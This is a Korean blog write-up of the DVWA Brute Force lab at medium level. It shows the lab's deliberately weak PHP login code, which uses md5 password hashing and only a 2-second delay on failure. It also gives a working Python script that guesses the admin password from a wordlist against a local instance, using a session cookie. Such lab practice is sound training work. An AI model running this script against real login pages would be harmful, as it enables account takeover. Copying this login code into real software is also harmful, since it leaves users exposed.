본문 바로가기

웹해킹/DVWA

DVWA Brute Force(medium) 롸업

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

구성 코드이다. 

low 레벨일 때와 달라진 점은 sleep(2)로 로그인이 실패했을 때 딜레이를 2초 준다는 점이다.

 

low에서는 burp suite로 공격을 했지만 딜레이가 생겼기 때문에 더 빠른 공격을 위해서

파이썬으로 공격 코드를 짰다.

import requests
import sys
from urllib.parse import urljoin
from urllib import parse

url = "http://127.0.0.1/dvwa/vulnerabilities/brute/"


with open('weakpass.txt','r') as f:
    passwords=f.readlines()
passwords = [i.strip() for i in passwords]

for password in passwords:
    param={
        'username':'admin',
        'password':password,
        'Login':'Login'
    }
    cookies = {
        'PHPSESSID': 'hcnsmd8495mod487cr6njk0hni',
        'security': 'medium'
    }

    res=requests.get(url,params=param,cookies=cookies)
    print(password)
    if "Username and/or password incorrect." not in res.text:
        print(f'found password = {password} ')
        break

low 레벨에서 사용했던 weakpass.txt 파일을 readlines로 불러오고 strip()으로 끝의 \n 문자를 지워줬다.

 

low레벨과 마찬가지로 get 방식으로 요청을 받기 때문에 param 값을 조정해서 요청을 보낼 수 있다.

cookie도 설정해서 보내줘야 한다.

응답에 Username and/or password incorrect라는 것이 없으면 로그인에 성공한 것이기 때문에 password를 출력한다.

password를 찾을 수 있다.

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA CSRF(medium) 롸업  (0) 2023.11.13
DVWA Command Injection(medium) 롸업  (0) 2023.11.13
DVWA Open HTTP Redirect(low) 롸업  (0) 2023.11.11
DVWA Authorisation Bypass(low) 롸업  (0) 2023.11.11
DVWA JavaScript(low) 롸업  (0) 2023.11.11